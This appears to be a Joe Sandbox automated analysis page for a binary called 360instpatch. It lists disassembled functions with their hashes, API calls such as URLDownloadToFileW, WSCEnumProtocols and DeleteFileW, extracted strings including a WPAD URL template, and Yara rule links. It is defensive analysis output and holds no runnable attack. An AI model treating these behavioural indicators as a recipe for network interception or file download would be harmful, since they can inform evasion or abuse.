String ID: !@tmpini%^&$?rd=%d
API String ID: 431327915-4013382025
Opcode ID: c6b713a1dae379f2ea82cce95f81647e3b775d2cf2f4e64eba859369c7131da5
Instruction ID: 12828dc19bf8b872b352b2105a2db5b02ac888d02bbd445780b6e658d3ae2a04
Opcode Fuzzy Hash: c6b713a1dae379f2ea82cce95f81647e3b775d2cf2f4e64eba859369c7131da5
Instruction Fuzzy Hash: 6F21E032A042189BDB24E7A4DC42FFEB7E5AF54310F5404ACF22AA72C2CF7069448715

Function 6BF32F93 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6BF32F9A
htonl.WS2_32(?), ref: 6BF32FAD

Part of subcall function 6BEFB865: _memset.LIBCMT ref: 6BEFB896
Part of subcall function 6BEFB865: __swprintf.LIBCMT ref: 6BEFB8BB

GetTickCount.KERNEL32 ref: 6BF32FF9

Strings

Stunt Dns resolve: %s:%d, xrefs: 6BF32FD7

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CountH_prolog3Tick__swprintf_memsethtonl
String ID: Stunt Dns resolve: %s:%d
API String ID: 2444062366-1183633912
Opcode ID: bbec16f59db3b2a106628b1668cd3a1875e2a426fe2c8a11c34038e00ba86147
Instruction ID: 54638ac836764fe0eec4024eb49b0bc00218d6f0c73687960b5ba2618821361c
Opcode Fuzzy Hash: bbec16f59db3b2a106628b1668cd3a1875e2a426fe2c8a11c34038e00ba86147
Instruction Fuzzy Hash: A41101B75402159BEB24DFB8C802BA977F1EF18718F24001AE054D72B0EB3AE940CBE1

Function 6BF055B1 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6BF04E4F: __EH_prolog3_GS.LIBCMT ref: 6BF04E56

Part of subcall function 6BF23F0C: _memset.LIBCMT ref: 6BF23F3E
Part of subcall function 6BF23F0C: wvnsprintfW.SHLWAPI(?,000003FF,?,?), ref: 6BF23F59

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 6BF055EC
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 6BF055FC

Strings

_IsHaveEntClient:%d, xrefs: 6BF055BD
Software\Microsoft\Windows\CurrentVersion\Internet Settings, xrefs: 6BF05606

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CreateEvent$H_prolog3__memsetwvnsprintf
String ID: Software\Microsoft\Windows\CurrentVersion\Internet Settings$_IsHaveEntClient:%d
API String ID: 1875430345-55523219
Opcode ID: ee46659ac8a93422fd01c9072e334dc99a6e752a4390fc732a0c8c165f7cec5f
Instruction ID: 9b76daec331e111985ff8c8a18cc672edef5ba980385445d7161b34b57be7928
Opcode Fuzzy Hash: ee46659ac8a93422fd01c9072e334dc99a6e752a4390fc732a0c8c165f7cec5f
Instruction Fuzzy Hash: A3F0AF728016097BC7209F768C45DE7BBFCEFD2B58751085EF29952120DF3964008674

Function 6BEFAE8B Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

WSCEnumProtocols.WS2_32(00000000,00000000,00000000,?), ref: 6BEFAEA0
GlobalAlloc.KERNEL32(00000040,00000000), ref: 6BEFAEBD
WSCEnumProtocols.WS2_32(00000000,00000000,00000000,?), ref: 6BEFAED0

Strings

G', xrefs: 6BEFAEAA

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: EnumProtocols$AllocGlobal
String ID: G'
API String ID: 1234177745-1542159958
Opcode ID: 7dca7555523beaa3a700daf5cfc073cb85830def1c4f54587ea98fa07530ec37
Instruction ID: a4988e5965b33a977a706b8263b715d5cbac610a9f01cd5f23ef28ab04c0cd24
Opcode Fuzzy Hash: 7dca7555523beaa3a700daf5cfc073cb85830def1c4f54587ea98fa07530ec37
Instruction Fuzzy Hash: B2F03076941118BADB01CBA4CC46FDE7BBCEB04369F100292E605E61D0D7749A44D7A1

Function 6BF2C5DF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33windowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 6BF2C5EA
SendMessageW.USER32(6BFCC3F0,?,?,?), ref: 6BF2C5FC
GetTickCount.KERNEL32 ref: 6BF2C604

Part of subcall function 6BF23FED: _memset.LIBCMT ref: 6BF24020
Part of subcall function 6BF23FED: wvnsprintfW.SHLWAPI(?,000003FF,?,00007148), ref: 6BF2403B

Strings

[CAsyncNetwork::SyncSendMsg] msg: %d cost: %d s, xrefs: 6BF2C61D

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CountTick$MessageSend_memsetwvnsprintf
String ID: [CAsyncNetwork::SyncSendMsg] msg: %d cost: %d s
API String ID: 3817034548-3777656696
Opcode ID: 912914a306f0a05a43aea4724045b9cd27d9826905659e4fa49b945809a8c329
Instruction ID: 328c3091080477b248a05f1e5d04882270b2feee76def02df2ced7c5ef9dfe67
Opcode Fuzzy Hash: 912914a306f0a05a43aea4724045b9cd27d9826905659e4fa49b945809a8c329
Instruction Fuzzy Hash: F7F0EC379102129FD7419EB98C44C9BBEA7DFD8250F05482BF544C2171DA76CC699662

Function 6BF02447 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 6BF0244B

Part of subcall function 6BF02364: _malloc.LIBCMT ref: 6BF02387
Part of subcall function 6BF02364: GetNetworkParams.IPHLPAPI(00000000,?), ref: 6BF0239D
Part of subcall function 6BF02364: _malloc.LIBCMT ref: 6BF023B3
Part of subcall function 6BF02364: GetNetworkParams.IPHLPAPI(00000000,?), ref: 6BF023C8
Part of subcall function 6BF02364: _memset.LIBCMT ref: 6BF023EF
Part of subcall function 6BF02364: __snwprintf.LIBCMT ref: 6BF02416

__snwprintf.LIBCMT ref: 6BF02475

Strings

wpad, xrefs: 6BF02465
http://%s/wpad.dat, xrefs: 6BF0246A

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: NetworkParams__snwprintf_malloc$CountTick_memset
String ID: http://%s/wpad.dat$wpad
API String ID: 140397255-1948369278
Opcode ID: 941555f83709cc6941f6929550cdfa3613640723feea0d45cb0460bd7dc3e335
Instruction ID: 22c7e9802aa18f6db36acb1b381490364c52c43f77a4905fd40db3d7eb5c8654
Opcode Fuzzy Hash: 941555f83709cc6941f6929550cdfa3613640723feea0d45cb0460bd7dc3e335
Instruction Fuzzy Hash: A5E0C233518322A7D760AA365C09C6FBE99FFD53A0B090859F99493132EB2AC416D2B1

Function 6BF2E488 Relevance: 6.2, APIs: 4, Instructions: 238COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 6BF2E70D

Part of subcall function 6BF2CDE8: PostQuitMessage.USER32(00000000), ref: 6BF2CECB

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: MessagePostProcQuitWindow
String ID:
API String ID: 3873111417-0
Opcode ID: 682a6dd7eb560b5fceaacae75d093caa556b59f7c5fa3c134a049ba6ca0cad4d
Instruction ID: 33030a19eafcfcac5507f91b1ee8b0545e746afc0f2b01b8af4e6e5b77c121c1
Opcode Fuzzy Hash: 682a6dd7eb560b5fceaacae75d093caa556b59f7c5fa3c134a049ba6ca0cad4d
Instruction Fuzzy Hash: 35819576A21606DBDF24CFF4C991AAF77B5EF48310F200419EA56D72A0E738D941CBA1

Function 00B34994 Relevance: 6.2, APIs: 4, Instructions: 158filethreadCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B3499B
GetCurrentThreadId.KERNEL32 ref: 00B349A2
__wcsicoll.LIBCMT ref: 00B34A21
DeleteFileW.KERNEL32(?), ref: 00B34B63

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: CurrentDeleteFileH_prolog3Thread__wcsicoll
String ID:
API String ID: 3249433508-0
Opcode ID: 9cd2ebca592f36ff74c97ee816bb49e7c1aaf2072afb197316f628fcdc9fdfa0
Instruction ID: 4f308d5126250dda521a83d20ecdd74136ee1052b31bfff9e8fd19d72af63964
Opcode Fuzzy Hash: 9cd2ebca592f36ff74c97ee816bb49e7c1aaf2072afb197316f628fcdc9fdfa0
Instruction Fuzzy Hash: 6851BD31800219DBCF26EFA4DC92BEEB7F5FF04301F2044ADE84662192EB70A985DB51

Function 00B7E697 Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B7E69E
PathFileExistsW.SHLWAPI(00000000,00000000,00BDE544,0000005C,00000008,00B7E838,?,?,0000002C), ref: 00B7E75E
SHCreateDirectoryExW.SHELL32(00000000,00000000,00000000,?,?,0000002C), ref: 00B7E76B
GetLastError.KERNEL32(?,?,0000002C), ref: 00B7E7B5

Part of subcall function 00B1DFB0: __CxxThrowException@8.LIBCMT ref: 00B1DFC2

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: CreateDirectoryErrorException@8ExistsFileH_prolog3LastPathThrow
String ID:
API String ID: 3549841302-0
Opcode ID: 336520ab35ba583f0fdb89567a85b086e0ab3deb5b35023a92c3f8cf6ce903dd
Instruction ID: 002a9b13b5fa0ea4757a63750a6c57ce092ad970cb7c79be184908067e10843d
Opcode Fuzzy Hash: 336520ab35ba583f0fdb89567a85b086e0ab3deb5b35023a92c3f8cf6ce903dd
Instruction Fuzzy Hash: 3731E4305001159ACF2CEF64C89AABE77E5EF65304F9085E9F4399B290DB30DD80D751

Function 00B7A606 Relevance: 6.1, APIs: 4, Instructions: 85COMMON

Download Yara Rule

APIs

CreateCompatibleDC.GDI32(?), ref: 00B7A689
SelectObject.GDI32(00000000,?), ref: 00B7A69E
SelectObject.GDI32(00000000,00000000), ref: 00B7A6CA
DeleteDC.GDI32(00000000), ref: 00B7A6DF

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: ObjectSelect$CompatibleCreateDelete
String ID:
API String ID: 488333989-0
Opcode ID: 2f9fbab6aa4eee7c8852f6c4c80f47c763368aa699c919bb424e1ff98c9d8a64
Instruction ID: 34c16b4100735f54f82bdbf0312cb467b7ccfb664299770d1fd7168545e8e232
Opcode Fuzzy Hash: 2f9fbab6aa4eee7c8852f6c4c80f47c763368aa699c919bb424e1ff98c9d8a64
Instruction Fuzzy Hash: B531E271900109EFDF11AFA0CC41DEE7BB9FF48304F048159FA29A2261DB31DA65DB91

Function 6BF305F0 Relevance: 6.1, APIs: 4, Instructions: 76threadCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6BF305F7
GetCurrentThreadId.KERNEL32 ref: 6BF3060C
EnterCriticalSection.KERNEL32(6BFCC570), ref: 6BF30619
LeaveCriticalSection.KERNEL32(6BFCC570), ref: 6BF306D4

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CriticalSection$CurrentEnterH_prolog3LeaveThread
String ID:
API String ID: 1021104131-0
Opcode ID: 6ee60854bbf6c261913fe90c92258f56d92fc4fe844e9c17b5421e99bc466917
Instruction ID: 74c74c54d4995f5f1f056c3e0d7d6ac628dacaef947436dd4cd1355dc3f797bf
Opcode Fuzzy Hash: 6ee60854bbf6c261913fe90c92258f56d92fc4fe844e9c17b5421e99bc466917
Instruction Fuzzy Hash: E6315C72A50312CFD780DFB9C54575A77E0AB89B04F01846AD549CB3B0EBB9D885CB94

Function 00B280FC Relevance: 6.1, APIs: 4, Instructions: 64windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00B28116
KiUserCallbackDispatcher.NTDLL(?,00000000,00000000,00000000), ref: 00B2813D
TranslateMessage.USER32(?), ref: 00B28158
DispatchMessageW.USER32(?), ref: 00B2815F

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: Message$CallbackDispatchDispatcherPeekTranslateUser
String ID:
API String ID: 1533324876-0
Opcode ID: f9891dff92863539de091feb7769ab0f5392a46d721d694a34b42bd7deed619b
Instruction ID: 92d28c26a6f24dcdd7f8ec39a7fd8ab1f2a513c893ba9804309a57e98b469600
Opcode Fuzzy Hash: f9891dff92863539de091feb7769ab0f5392a46d721d694a34b42bd7deed619b
Instruction Fuzzy Hash: 74019671207529AF97115F64ACC8CBFB7ECEF5939A7100569F516D2190FF60CC2386A1

Function 6BF231EC Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6BF23151
RasEnumConnectionsW.RASAPI32(?,?,?), ref: 6BF2317C
_memset.LIBCMT ref: 6BF2319B
RasGetConnectStatusW.RASAPI32(?,?), ref: 6BF231B0

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: _memset$ConnectConnectionsEnumStatus
String ID:
API String ID: 3492228599-0
Opcode ID: b875f1eaeb297c05ba299e77586ee4205f1b1abc62d5e2177df0b2fcf5b7f360
Instruction ID: 20712d1d12b20ccf7baffa022cb2c5ba85bb6964f31b43305d6afb9b2a1477cf
Opcode Fuzzy Hash: b875f1eaeb297c05ba299e77586ee4205f1b1abc62d5e2177df0b2fcf5b7f360
Instruction Fuzzy Hash: 76116DB3D016099FEB30CEF0DC81ADE77B8AB45309F200429E919DA151E77C96488F61

Function 00B5683D Relevance: 6.1, APIs: 4, Instructions: 59filenetworkCOMMON

Download Yara Rule

APIs

URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 00B56871
_memset.LIBCMT ref: 00B568A0
URLDownloadToCacheFileW.URLMON(00000000,?,?,00000104,00000000,00000000), ref: 00B568B8
DeleteFileW.KERNEL32(?,?,00000000,?), ref: 00B568C8

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: File$Download$CacheDelete_memset
String ID:
API String ID: 1835763934-0
Opcode ID: dd7f118612c70a8a37e895db5018f9088d8944f231d3ea592a0b2c7876a57f03
Instruction ID: d8bb258247f3e101308fb6b0e62dc7eb3c369124f1e20e12803f1a81532a1edf
Opcode Fuzzy Hash: dd7f118612c70a8a37e895db5018f9088d8944f231d3ea592a0b2c7876a57f03
Instruction Fuzzy Hash: B801C471511118AACB20AB658C45FEFBBFCDF49B55F8044E6B904D3041EA70DE85CAE5

Function 6CDA5B5C Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CDE23D1: __wfsopen.LIBCMT ref: 6CDE23DE

__filelength.LIBCMT ref: 6CDA5B7E
_malloc.LIBCMT ref: 6CDA5B8D

Part of subcall function 6CDDD47E: __FF_MSGBANNER.LIBCMT ref: 6CDDD4A1
Part of subcall function 6CDDD47E: __NMSG_WRITE.LIBCMT ref: 6CDDD4A8
Part of subcall function 6CDDD47E: RtlAllocateHeap.NTDLL(00000000,6CDDDF44,?,?,?,?,6CDDDF53,?), ref: 6CDDD4F5

_memset.LIBCMT ref: 6CDA5BA1
__fread_nolock.LIBCMT ref: 6CDA5BAB

Part of subcall function 6CDDD548: __lock.LIBCMT ref: 6CDDD566
Part of subcall function 6CDDD548: ___sbh_find_block.LIBCMT ref: 6CDDD571
Part of subcall function 6CDDD548: ___sbh_free_block.LIBCMT ref: 6CDDD580
Part of subcall function 6CDDD548: HeapFree.KERNEL32(00000000,6CDDDF53,6CE25220,0000000C,6CDE7673,00000000,6CE25648,0000000C,6CDE76AD,6CDDDF53,?,?,6CDECAFF,00000004,6CE257F8,0000000C), ref: 6CDDD5B0
Part of subcall function 6CDDD548: GetLastError.KERNEL32(?,6CDECAFF,00000004,6CE257F8,0000000C,6CDE5FE1,6CDDDF53,?,00000000,00000000,00000000,?,6CDEAD80,00000001,00000214), ref: 6CDDD5C1

Memory Dump Source

Source File: 00000008.00000002.4120199942.000000006CD21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CD20000, based on PE: true

Associated: 00000008.00000002.4120169906.000000006CD20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120288463.000000006CE05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120321049.000000006CE29000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE2B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE30000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120454362.000000006CE50000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120497160.000000006CE56000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6cd20000_360instpatch.jbxd

Similarity

API ID: Heap$AllocateErrorFreeLast___sbh_find_block___sbh_free_block__filelength__fread_nolock__lock__wfsopen_malloc_memset
String ID:
API String ID: 82526466-0
Opcode ID: 5aba18f1d556aa126930132d2329023f6042ad67680abbeeb40366fe6909c15a
Instruction ID: d51a491dd9c339475569e58205ee73ab89435bcb5ce474ce76b4b46f6e6735e6
Opcode Fuzzy Hash: 5aba18f1d556aa126930132d2329023f6042ad67680abbeeb40366fe6909c15a
Instruction Fuzzy Hash: 5F01D472500705BBEB149BA5DC84FDF3BACDF45268F20002AF90096A91EB71EA1487F4

Function 6BF30345 Relevance: 6.1, APIs: 4, Instructions: 53networkCOMMONLIBRARYCODE

Download Yara Rule

APIs

WSAAsyncSelect.WS2_32(?,00000000,?,00000000), ref: 6BF30382
shutdown.WS2_32(?,00000002), ref: 6BF3038D
closesocket.WS2_32(?), ref: 6BF303A3
WSACancelAsyncRequest.WS2_32(?), ref: 6BF303D8

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
